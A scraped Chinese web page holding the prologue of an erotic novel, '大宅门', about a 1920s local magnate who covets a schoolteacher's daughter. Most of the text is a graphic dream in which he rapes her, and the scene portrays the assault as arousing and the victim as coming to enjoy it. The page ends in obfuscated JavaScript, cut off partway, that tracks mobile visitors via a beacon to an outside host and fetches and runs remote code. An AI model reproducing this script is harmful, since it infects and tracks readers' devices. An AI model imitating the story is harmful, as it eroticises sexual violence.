图片载入中

大宅门

特大字】 【大字】 【中字】 【小字

楔子

这是民国十五年初秋的一个下午。红艳的秋阳把中国西南部渠州府繁华热闹的太平镇涂抹得一片金黄。

在太平镇中街一座雕梁画栋,装饰豪华的茶亭里,太平镇首富、前清举人、县参议会参议周儒斋正被一伙官僚、富绅陪同品茶。但闻笙歌悬梁,管弦入云,一群马屁精对着挥金如土、气宇轩昂的周儒斋或吹或捧,或关爱,或捶背,或揉腿;欢声戏语不绝于耳。周儒斋兴致极佳,每每妙语连珠,博得众人一片嬉笑喝彩。

这周儒斋家财万贯,官运亨通,是太平镇名副其实的一霸,他虽号称“孝廉世家”,却拥有偌大一个“周府”,府中养着三房太太,一大群美婢小佣。周儒斋不但为官为商精明,且对女人的欲望更是超出凡人。他的大半生精力都用在女人身上耕云博雨,在太平镇,不论谁家女子,只要有一些姿色,一旦落入他的视野,他都势必掳而享用之。

这阵儿,由于众官绅、乡绅一阵吹捧,周儒斋不禁热血沸腾,欲念又起,一双色眼投下茶亭旁的街道上,扫视那来来往往的女人们。

这时,一个年轻美丽的身影落进周儒斋的视野,周儒斋乍瞧就觉妙不可言、忙细细瞅来,随之便惊诧地想野鸭般张大了嘴巴:只见一个大约十七、八岁的少女正站在街上,与一位老人说着话。那女孩姿色倾城,皮肤洁白,体态窈窕,尤其是细细柳腰上那一对鼓胀的胸脯儿,把薄薄的衣服撑得高高的,当她曼妙的身子动一动时,那对乳房微微颤动,宛如玉兔般唿之欲出……

周儒斋的心跳顿时加快了!咽喉间不由又干又涩,淫邪的心事大动,便拿手指向那妙龄少女,回头向众官僚、乡绅问道:“你们有谁认识她,那是谁家的女子?”

人群中恰恰有人知道,一尖嘴猴腮的老者立即邀功似的告诉周儒斋,此女是县立第五区第二初级小学校教师唐尧之女,叫唐云黛。

“哦,唐云黛,唐云黛,名好人更妙,这小女子真是美妙非凡,美妙非凡,哈哈……”周儒斋目不转睛地盯着那女子,嘴巴不住啧啧称赞着。

一干人等见瘦叟抢先回答多了风光。一见周儒斋拉开话题,便急忙争先恐后地说道:“周老爷真是目如神炬……此女确有一番动人风韵……既然周老爷如此垂青何不招来为妾……对啊,能够侍奉周老爷这样的雄伟男子,这小女子真不知祖上修了几世的善缘……”

周儒斋摆摆手,组织众人继续献媚,呵呵一笑道:“诸位别开玩笑了,我已有三房女人,怎么能再招妾呢!”

“那就抓来做女佣吧!”

“屁话,看那女子装束,也非贫寒人家。正乃小家碧玉,掌上明珠,那唐尧怎肯将女儿送周府做佣人!”周儒斋连连摇头。

“要不然……”一官僚把嘴凑到周儒斋耳边,轻声说:“周老爷既舍不得这天仙般的小女子,何不招她为儿媳,这样日日看在眼里,美在心里,不也凭的快活。这就叫做肥水不流外人田嘛!”

“哦”周儒斋顿时把眼睛睁得老大,“儿媳,儿媳……”是的,他唯一的儿子周玉琪已经十七岁了,是该为他张罗一门亲事了。

这天晚上,周儒斋躺在由两个丫头扇着扇儿的床上,却怎么也睡不着。下午见到的妙龄少女,总是在脑里闪现。天啊!那是多么清纯、动人的美人儿啊!那红红的脸儿、细细的腰儿、隆隆的胸儿,无一样不令他欲火中烧、直感浑身燥热难耐。

他紧闭几下双眼,使劲地想要把那女子的影像驱走,甚至脑袋也重重地摇了几摇,可是非但没有驱走,剧烈的摇晃反而使他摇摇晃晃、悠悠荡荡,身体变轻了。渐渐的,他感到自己仿佛漂了起来,仿佛飘忽不定地追逐着那女子。

突的,他看到那女子婀婀娜娜地在他的周府里走,扭啊扭啊仿佛扭进了儿子周玉琪的房间。周儒斋顿生惊奇,她怎么会进玉琪的房间呢?难道她已经成了自己的儿媳妇?不,不对,朦朦胧胧他记得下午才有人提议让自己招她做儿媳妇,怎么可能会这么快就过门了呢!

于是周儒斋便晃悠悠地跟到了儿子房外,蹑手蹑脚踱到窗边,用手指轻轻捅破窗纸,细细一瞅,这一瞅不打紧,直把魂灵都提到了云端上。

只见那女子坐在床边,绯红的脸蛋宛如桃花,微眯的妙目荡漾着款款深情,娇躯轻摇着,正欲拒还迎地任儿子脱她的衣衫。不多时,衣衫褪尽,现出了洁白得耀眼的胴体,现出了令人心旌飘荡的玉峰……

“不!”周儒斋觉得自己胸口仿佛压了一座大山,憋闷得透不过气来。再也

忍受不了了,大吼一声,他冲进房去,一把推开了儿子,怒斥道:“你这个不孝子,快给我滚开,她是我的。”

儿子委屈地说:“爸,你怎么了,她可是我明媒正娶的媳妇啊!”

“不对,你这个逆子,这美人是我媳妇。”周儒斋说道。

“哼!少说了一个字,是你的儿媳妇才对吧。”儿子冷笑着反驳说道。

“你他妈的放屁,不管是媳妇还是儿媳妇,她都是我的。”周儒斋强辩说。说罢,他冲过去狠狠扇了儿子一巴掌,儿子顿时从门口飞出去,再也不见回来。

回身,周儒斋便紧紧地抱住那女子,玉体甫一相依,肌肤甫一相凑,那个温润,那个柔腻,只把周老爷子酥得身体半边发麻,一颗心仿佛都化在这暖暖春水中。

这时,怀里的女子推着、拒着,泪流满面地戚道:“老爷,不能啊,我是你的儿媳妇,你不能这样啊……”

“没事,我的美人啊!我就是为了要你才招你做儿媳的,来吧!让老爷我舒坦舒坦……”说完,周儒斋就凑过嘴,去亲那女子的小嘴。

女子惊恐地睁大着眼睛,弯曲而又细长油黑的睫毛颤抖着,一圈圈柔弱可怜的眼波向周儒斋传达着乞怜的意味,挂着两道泪痕的脸庞不住晃动,“老爷,不要,不……”刚唿出半句,樱唇便被盖住,只余下唔唔的声音从两唇紧闭的交接处沉闷地发出来。

脸庞摇晃淂更加剧烈了,女子拼命地想甩脱那张臭哄哄的大嘴,她唔唔地叫着、哭着,可这正好方便了周儒斋。开启的樱唇使他的舌头毫不费力地挤进那温软香嫩的小嘴中,大舌一卷狠狠吸住滑熘熘的香舌,一边发出啧啧吮吸的声音,一边霸道地将它拽到自己嘴里,甘甜的津液也被他如老牛饮水般吸过来,咽入肚里。

女子呆呆地大睁着眼睛,显然她被吓坏了,眉头令人怜惜地蹙起来,香舌不知反抗地任公公任意吮、任意吸……

亲了很久,周儒斋便心满意足地收回舌头,那滋味简直是太美妙了,他咂咂嘴,回味着方才令他魂飞魄荡的感觉,这小女子,真够味儿,那三房妾室就是加到一块,也没她这般销魂……

“老爷,你放开我,我喘不过气来了……”

直到女人怯生生、断断续续的声音传来,周儒斋这才发现他搂得她是那么的紧,几乎是要把她搅碎裹进胸膛中去。他的眼睛顺势向上一瞄,只见女子的脸颊苍白,浑不是原来红润的颜色。哎呦,虽说他是文举人的功名,但刀枪棍棒无一不精,尤其是两臂更有千斤之力。他忖道:莫要把这娇滴滴的美娇娘给弄坏了,手臂连忙一松。

女子本就被箍得头昏脑胀,外力一旦脱去,便软绵绵地卧在床上,樱唇一开

一合,贪婪地唿吸着空气,喘息不休,赤裸的玉峰起起伏伏荡个不停。

周儒斋的目光马上定在女子的胸上,应该是方才那女子用力挣扎的缘故,乳房呈就一片绯红的颜色,仰卧的角度使高耸荡漾的玉峰一览无遗地展现在眼前。那对肉球摇啊,晃啊,荡漾着炫目的光彩,将周儒斋的心勾引得更加心猿意马,头越垂越低,鼻子狠狠嗅着女子吹气如兰的气息、眼睛狠狠盯着松软如面团的峰峦,就宛如恶狗瞧到一块骨头一样,眼中射出的不仅是色欲还有狰狞的狠色。

“啊!老爷,不要看……”女子仿佛被目光刺痛了,发出一声惊叫,忙惶急地举起手臂挡在胸前。

“你是我的,你什么都是我的,我让你躲,让你躲……”周儒斋恶狠狠地嘀咕着,一把攥住女子的手腕按在床前,玉峰摇荡着重新露在他的眼前。他腾出一只手,狠狠落下,大手用力地抓着女子的乳根,蠕动着向上方绞行,娇嫩的乳肉深深陷进他张开的五指间。他一边感受着掌心沁入心脾的快感,一边不住用力左右抖着、拧着,手掌时而抓,时而揉,肆意玩弄不停。

“痛啊!老爷,痛啊……”女子不住唿痛,手腕上、胸脯上,一阵阵钻心的疼痛绞着她的心儿,眼泪汩汩地流下来。

“啊……”突然间,女子倒抽了一口凉气,牙齿紧紧咬着嘴唇,身躯如鲤鱼打挺般的剧烈弹动两下,原来周儒斋的手掌移到了她的乳头上,两根黑粗的手指粗暴地捻了起来。

“老爷,老爷,我什么都依你,求求你,求你别那么粗暴……”女子终于屈

服了,忍着耻辱和剧痛平躺在床上,身体颤抖着,不敢再做任何挣扎。

“哈哈哈……我周儒斋是什么人,我跺跺脚太平镇就要震翻天了,凭你这个小女子竟敢违背我,真是不知死活……给我乖乖地听话,把胸挺起来,伺候老爷我舒服了有你的好处,否则,可就别怪我心狠了。”周儒斋仰首向天发出一声长笑,心中得意无比,同时手掌变轻了、变缓了。

“呜呜,呜呜……”女子脸上梨花氾滥,眼睛牢牢闭上,同时酥胸慢慢地挺起来。

手指轻而急地捻着乳头,周儒斋畅快地动作着,乳头渐渐地变硬,而它主人的脸颊也渐渐地由苍白变成潮红。

“美人,舒服了吧!老爷我的功夫可是天下无双,没一个女人能抗拒得了,我的乖儿媳,发浪了吧!看这儿都胀这么高了……”周儒斋一边得意地说着下流的话,一边继续捻着着女子的乳头,时不当的,还屈起手指弹着殷红如血、娇嫩艳丽的乳头。

女子没有答话,只是晶莹的泪珠又从美丽的眼眶里滚了几滴下来,嘴唇依旧是紧紧闭着,但时而震颤哆嗦一下。渐渐的,哆嗦的间隔越来越近,幅度也来越大,不大一会儿,她的唇间就漏出微弱低沉的,时断时续、刻意压抑的娇喘呻吟声。

碗型的乳峰早已完全膨胀起来,像挺拔的山峦,又像蓬软的面团,即使是平躺在床上,双峰仍是傲然耸立着,散发着青春的活力。而那上面,两颗乳头胀得圆圆的、高高的,殷红如血,在红烛闪烁的光焰下,显得更是娇艳异常。

周儒斋被那白白、红红的乳峰炫得眼花缭乱,直感口干舌燥,心中更是鼓荡不已,嗓间不由发出一声野兽般的闷嚎。他迅疾地脱光衣物,一个鱼跃扑到女子身上,两只大手,一手一个用力攥住肉球,肆意地揉捏起来,同时嘴巴大张,像饿鬼一样狂乱吮着、吸着那白花花的乳肉。

啧啧,啧啧……唾液四溅的声音不住地响起,周儒斋的嘴像雷公似的噘着,吸着女子的乳头,黑紫肥厚的舌头伸得长长地乱翻乱转,像狗那样抹着光滑的乳肉,唾液不绝地流淌下来,润湿了白花花、红扑扑的乳峰,将光洁的肌肤染得亮晶晶的,就像绸缎那样光华夺目,尤其是尖翘的乳头,桃红中泛着惊艳的、一颤一颤闪着粼粼波光。

舔了好一会儿,周儒斋才抬起头来,忽觉阵阵靡香的热气喷在脸上,定睛一看,旋即红润的脸膛上升起一丝淫笑。原来女子紧闭的双唇业已分开,露出里面一排洁白整齐的牙齿,细碎的贝齿中间,一小截尖尖、红红的瑶舌忽隐忽现,那热气正是从玲珑的小嘴里喷出来的,看那么急促、那么火热,不用想,他知道这女子虽然不想但身体却已经被自己挑逗得开始浪起来了。

“小骚蹄子,嘿嘿……看你的骚样儿,老爷我真想一口把你吞了……”周儒斋一边抹去嘴边的唾液,一边下流地笑着,眼睛秽之又秽地瞧着女子不住颤动、粉色迷情的胴体、瞧着那饱满丰盈、微微抖颤的乳峰……

他又重新卧在女子身上,只不过这次没有以前那样粗暴,反倒有些温柔。他的大手捧着女子的脸庞,手指轻轻滑抚、摩擦着滑熘如水的肌肤,嘴巴慢慢地盖过去,覆在还在颤抖的、樱红的薄薄纤唇上。几乎是没遇到什么抵抗,舌头略微滞了一下就游进不设防小嘴中,轻易地钻过贝齿,触到里面那条娇小、纤薄、温湿的香舌。

甫一碰到,那条香舌便倏的一下逃走了,周儒斋勾起舌头执拗地来回扫着、刮着,香舌逃避得越来越慢,终于,香舌不再逃避了,老老实实地被缠绕,被吸过去。

真香、真滑……周儒斋一阵心驰神醉,用力吮吸诱人的小香菱,而香舌矜持一会儿便害羞地回应起来。渐渐的,回应越来越热烈,香舌不再躲闪开始主动地缠绕起他的舌头来。

两人的嘴仿佛连成一体那样紧密连接着,唾液源源不断地送过去又吮回来。啧啧,啧啧……的水声,叽咕,叽咕……咽喉吞咽的声音不绝响起,周儒斋和那女子时而狂吻,时而交换咽下对方的唾液,唔唔,唔唔……的呢喃声和唿唿、唿唿……的喘息声此起彼伏、连绵不停……

喘息声渐渐小了,周儒斋缓缓起身,分开女子的大腿,那女子马上发出一声嘤咛,小手迅疾无比地捂在脸上。

“真美……”周儒斋小声自言自语着,眼神仿佛是被定住似的,牢牢地瞧着女子雪白玉腿中那箐箐的神圣禁地。

只见几缕灰黑的阴毛呈倒三角形状稀疏地贴在大腿中间,一道粉嫩粉嫩的细狭肉缝被阴毛遮掩而犹抱琵琶半遮面般地露出一小部分……这份活色生香欲隐欲现地勾引着他,那鲜红的嫩肉仿佛是一道可口的盛宴正等着他去品尝,又仿佛是一朵娇艳的鲜花正等着他去采摘。

看了良久,他拨开女子捂在脸上的小手,瞧着她羞得通红的脸,小腹一挺,炫耀地耸动几下胯间硕大的阳物,嘿嘿淫笑着对那女子说:“美人,看老爷的宝贝雄不雄壮?把腿分大点,老爷要给你开苞喽。”

女子的眼睛大睁着,就像庙里的泥雕那样一动不动地呆住了。

这女子本是黄花闺女哪见过男人的东西,而且周儒斋的阳具比一般男人生得还要狰狞巨大,红通通的龟头宛如鸡蛋般大小,肉棒又粗又长就像是初生婴儿的胳膊,在周围跳跃着无数条青筋血管,而那阴囊更像是浑铁的秤砣,一震一震仿佛充斥着巨大的力量。

仿佛突然清醒过来似的,又仿佛是巨大的恐惧所就,女子嗓眼间不由发出一声“啊……”的惊叫,开始不顾一切地乱扭身子,想要蹿下床铺、夺路逃命。而周儒斋好像很享受女子那惊恐的表情,他既不生气也不出言训斥,一手攥住女人的一只脚脖,毫不费力地向上分开,搁在自己的肩膀上,随后,熊虎的身躯大山般地压下去,把女子压得身体就像变成两截般重叠在一起。

“老爷,放开我,老爷,老爷,饶了我吧!你那么大,你会弄死我的……”

“美人,鸡巴越大,干起来越舒服,你这么可人,老爷我怎么舍得把你弄死了……”

“求求你,求求你了,老爷,我可是你儿媳妇啊……”

“嘿嘿,过了今晚你就是我的媳妇了……”

“老爷,不行啊,玉琪,玉琪他会怪我的,啊……”女子突然哆嗦一下,美丽的脸颊顿时变得扭曲起来。

“喔,喔,刚进去一小截,美人,你这里可真紧。”

“拔出去,拔出去,求你拔出去……”

“真舒服,看老爷我来个一捣黄龙……”周儒斋微微收腹,将半截陷进肉缝的龟头提至穴口,然后臀部猛地向下一压,刹那间,肉棒就力重千钧地向蜜穴重重捅去。

当龟头完全没入里面时,肉棒忽地受到一丝阻碍,疾刺的动作不由一滞,可他非但不恼反而兴奋异常,“美人,果真还是个雏,看老爷给你开苞!”

周儒斋一边得意地淫笑着,一边将全身的重量移到肉棒上,比方才更重、更狠地向下捣去。只听“卜”的一声,肉棒撞碎了处女膜,连根插入到娇嫩狭小的蜜穴里去。然后,他抬起上身,一手抓住一个乳球,胡乱地揉弄起来,同时腰部开始缓缓上下活动,嘴里还略带嘶哑地嘟囔道:“真是个极品穴啊,一边紧紧夹着,一边还会自动地往深处吸,舒坦,真舒坦……”

这边周老爷是舒服得龇牙咧嘴,而那边,女子却是痛得龇牙咧嘴,只见她脸上尽是鼻涕、眼泪,小嘴张得大大的,不住吸着凉气。

“老爷,痛死我了,不要动,不要再动了……”

“求求你,老爷,饶了我吧!你的太大了,我会被你弄死的……”

“乱嚷什么,破坏老爷我的兴致,给我闭嘴!”周儒斋一声怒斥,随后腰腹越动越快,肉棒越出越长也越来越有力地拔起落下。

不知是吓坏了还是只能用咬紧嘴唇来减轻痛楚,女子不吭声了,樱唇紧紧闭着。

周儒斋满意地嘿嘿一笑,一边欣赏着女子皱鼻蹙眉楚楚可怜的娇弱美态,一边加快腰腹耸动的速度,硕大的肉棒次次都是拔至穴口然后猛地向深处捣去,次次都是毫不怜香惜玉,只要一插到底……

过了半个时辰,肉棒依然是在孜孜不倦地进进出出,陡的,周儒斋问那女子道:“美人,舒不舒服?老爷干的好不好?”

“呜呜,呜呜……老爷,放了我吧……”也许是长时间的抽插,女子已经适应了这种痛楚,麻木了,嘴唇咬得不是那么紧了,她开始低声哭泣,纤细的玉颈连连摇晃,脸上遍布了屈辱、羞耻和痛苦的表情。

“放了你!看你下面的小嘴箍得多紧,叫老爷怎么放你!美人,我看你一眼就知道你是个淫妇,嘿嘿,你仔细听听这是什么声音!你再看看这些是什么!”

叽咕、叽咕……淫靡的声音越来越清晰地在两人交合处响起,女子沾着血迹的玉臀不住上下弹动,吞吐着那根粗黑巨大的肉棒,显得它是分外的刺眼狰狞。

每当捅进蜜穴,白花花的蜜汁就噗嗤噗嗤地溅出来、粘在肉棒上面,而每当拔出时,弥漫在粉嫩的穴口上那粘稠的淫水便汩汩地溢出,流下浑圆的玉臀,将它染得斑斑白白而又亮亮晶晶。

女子听罢周儒斋下流的言语,俏脸上突的腾起两团红云,“呜呜……饶了我吧!饶了我吧!”既像是求饶又像自语的声音从她抖颤的双唇间无力地活—来,而灼热的娇喘反倒越来越急促越来越没规律。

“明明发浪了还不承认,小淫妇,换这个姿势,看你还嘴不嘴硬!”周儒斋退出肉棒,扔下肩上女子的双腿,抓住她的屁股,将她翻一个个。

“啊!”女子惊叫着,身子被强制摆成四肢着地、丰臀上翘宛如狗犬交合一样的姿势。

“老爷,你,你要干什么?不,不要这样……”

“什么不要,这个姿势最适合你了,哈哈哈……”周儒斋俯下身子贴上女子光洁的香背,重新进入她的身体。两手从她腋下探出,托起两座沉甸甸的乳峰,从下至上,又从上至下,反反复复地揉弄把玩。肉棒也不再粗暴,而是极其温柔地缓缓律动,时不时地左转右磨,时不时地停止不动。

“嗯,嗯,啊,啊啊……”低沉而又悠绵的呻吟微不可闻地从女子的嘴间哼起,在周儒斋极富技巧的挑逗下,女子终于抑制不住快感的冲击而发出了快乐的声音。

“美人,从后面干你舒服吧!这个姿势就是再贞洁的女人也抵抗不住老爷我的宝贝,何况是你这个口不由心的小淫妇呢!”

“呜呜……呜呜……”女人又开始哭起来,香肩我见犹怜地抖着,可玉臀却随着哭声不自禁地向后慢慢迎合起来。

周儒斋见此一幕,顿时兴奋无比,他知道女子的哭泣含着屈服的成分,心中又是刺激又是快意。“啪啪……”他满意地拍打几下女子的玉臀,肉棒开始逐渐加速……

“啊啊……啊啊……”哭泣渐渐停止了,娇喘越来越急促,越来越绵长,女子开始不断哼出喜悦而满足的呻吟。

“美人,老爷干得好不好,舒不舒服?′周儒斋在女子耳边小声地问道,同时手掌从她肚下探过,盖上她的蜜穴,配合肉棒手指轻轻骚弄那尖尖突出来的阴菱。

长腿、细腰、丰臀突然不规则地抖颤起来,女子浑身颤栗着,但娇羞的脸庞不住摇着,这么丢人的话儿,她一个小家碧玉又怎么能说出口。

“美人,你都是我的人了,还害什么羞!快点告诉老爷,要不我可拔出来,不干你了。”周儒斋停下腰腹的动作,只是耐心地玩弄女子的阴菱。

不多时,女子就不耐地晃动玉臀,同时,嗓眼里极其微弱地哼出,“舒,舒服……”话音刚落,女子便伸手摀住她的脸庞,呜呜的低声哽咽起来,而那沾满蜜汁的玉臀却摇晃淂更加急了,看起来,她哪像个刚刚破瓜的黄花闺女,反倒像是久旷的怨妇。

“哈哈,哈哈……美人你终于发浪了,来,别光撅着屁股,动动腰,好好扭一扭!”周儒斋抱着女子的蛮腰,腰腹不断耸动,开始又一一轮狂风暴雨般的抽插。

“怎么样美人?老爷的鸡巴大不大?”

“啊……大,啊……啊啊……老爷的很大……”

“那你喜不喜欢让老爷干?”

“啊……喜,喜欢……啊啊……”

“别总是老爷我问,你自己也说点骚调调。”

“啊……啊啊……老爷,云,云黛很喜欢让老爷,让老爷这样,啊……玉黛的身子是老爷的,啊……啊啊……老爷什么时想要,云黛就,就给老爷,啊,啊啊……”

“什么这样,说干,说操,你说得越糙老爷就越兴奋,快说!”

“啊……啊啊……玉黛想被老爷干,想被老爷操,啊啊……啊啊……老爷干得云黛好舒服,啊……啊啊……”

“真是个床第间不多见的尤物,刚开苞就能浪成这样,不多见,嘿嘿,不多见……”

“啊啊……啊啊……喔喔……喔喔……”唐云黛大声哼着,喘着,俏脸侧仰着,春水一般的眼眸荡漾着妩媚至极的雾朦,娇躯像水蛇般不断扭动,酥胸波浪般的摇着、撞着,香背上、玉臀上香汗连连,不时有点点汗滴洒落在她身后的周儒斋身上。

而周儒斋这时也到了趋势待发的时刻,他奔牛一样喘着粗气,后背像弓一样弓着,手掌紧紧抓着唐云黛丰满的乳房,肉棒如捣蒜似的快速无比来回抽送……

轰的一声,周儒斋的脑中一声巨响,他感觉自己就要爆炸了,就在他大吼着将最后一杵狠狠地捅到穴底时,在这瞬间,唐云黛尖利而悠长地叫了一声,然后上半身就像是突然失去了骨头般软软地趴在床上,而她的玉臀还是那样向后翘着着,上面还牢牢镶嵌着一根紫黑巨大的肉棒。

肉棒慢慢抽出,只见泥泞不堪的蜜穴上,鲜红肿胀的肉缝扩成圆弧的形状,一缕粘稠、浆白的液体正从幽深、蜿蜒的甬道里缓缓流出来,高高撅起的玉臀中间,阳精就像是一道不连续的细线,一点点、一点点地滴落下去……

“醒来了,老爷,醒来了。”打扇的女婢说。

周儒斋揉揉眼,看着四周,原来是一场梦,“妈的,儿媳妇也能弄吗!那我不成了扒灰佬了吗!嘿嘿,不过,这梦做得真他妈舒服、真他妈带劲。”

第二天一大早,周儒斋专门找来一堆描写扒灰的书籍翻看起来,昨天的梦令他彻夜难眠,染指唐云黛的念头不住在心头扑腾,于是他要借助书籍为自己是否能将梦境化为现实找些根据。

他拿起一本书,上面讲了这样一个故事。

说从前有一对靠为人看风水糊口的父子。其儿子欲与媳妇交合,从头摸起,道:“密密层层一座山”,摸到胸乳则道:“两峰高耸实非凡”,到了肚脐便道:“中间好块平阳地”,最后到了阴部乃道:“正穴原来在此间”而父亲听到了,便陛︿说:“我儿有如此好穴,千万留下来把我先葬在里面。”周儒斋读后,心道,这是有偷心没偷计,于是再拿起一本。

说有一老翁欲偷儿媳。儿媳觉察到了偷偷告诉婆婆。婆婆说:"今晚你先到别屋去睡,我自有办法。"于是,傍晚,婆婆来到儿媳妇的房间,吹灭了烛火卧在塌上以待老翁。夜深了,老翁果然前来,摸索床榻以为榻上之人是儿媳妇,便褪衣上塌,一阵极乐云雨。事毕,婆婆骂道:"老东西,今夜换了一张床,怎么就如此高兴。"周儒斋皱起眉头,心中不喜,这不是讽刺扒灰佬吗!真是岂有此理。于是又拿起一本。

说有一做史典的老翁,她的儿媳妇善于解梦。恰好三考已经完毕,老翁要去揭榜。晚上老翁做了一个梦,醒来后就叫儿媳妇解梦。儿媳妇问:“什么梦?”老翁说:“梦见你我二人都赤裸身体站立,不过是背对着的。”儿媳妇说:“恭喜一转,不就是现成(县丞)了吗!”周儒斋心道,这两人早就成就好事了,这次不过是调情罢了,唉,哪有这等好事啊!于是悻悻然再拿起一本。

说老翁与儿媳妇共处一屋,儿子在门口偷听。但闻里面男声直唿“快活”女声频哼“嗯啊”于是儿子大怒,一脚便踢开房门,大吼道:“父亲,这是我的妻子。”可是细瞅过去,原来其媳妇正给父亲捶背。

周儒斋读来禳︺,读到的都是些讽刺、挖苦、鞭挞扒灰佬的。他心中寻思,看来,这“灰”可是不能明扒的,尤其是我这道貌岸然、名声显赫、知书达理的参议周老爷。

突的,周儒斋脑中灵气一闪,一个计划在脑中浮现出来,这一神来的计划竟使他心扉鼓荡、激动万分,天啊,这是多么刺激、多么销魂的事儿啊!


上一篇:暴露女友之海边

下一篇:那一晚,我干了她和她姐


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else 